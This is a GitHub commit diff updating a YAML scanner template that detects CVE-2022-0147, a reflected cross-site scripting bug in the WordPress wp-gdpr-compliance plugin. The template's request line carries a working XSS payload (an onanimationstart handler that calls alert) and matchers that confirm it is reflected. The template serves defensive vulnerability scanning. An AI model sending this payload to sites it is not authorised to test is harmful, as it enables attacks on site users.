Update CVE-2022-0147.yaml

patch-1
Dhiyaneshwaran 2022-10-25 01:15:25 +05:30 committed by GitHub
parent b81dcce70b
commit d89fc91f50
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 2 deletions

View File

@ -15,7 +15,9 @@ info:
cvss-score: 6.1
cve-id: CVE-2022-0147
cwe-id: CWE-79
tags: cve,cve2022,wordpress,wp-plugin,xss,wp,cookieinformation,authenticated
metadata:
verified: true
tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wp-gdpr-compliance
requests:
- raw:
@ -28,6 +30,7 @@ requests:
- |
GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
@ -35,6 +38,7 @@ requests:
part: body
words:
- "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
- "toplevel_page_wp-gdpr-compliance"
- type: word
part: header
@ -43,4 +47,4 @@ requests:
- type: status
status:
- 200
- 200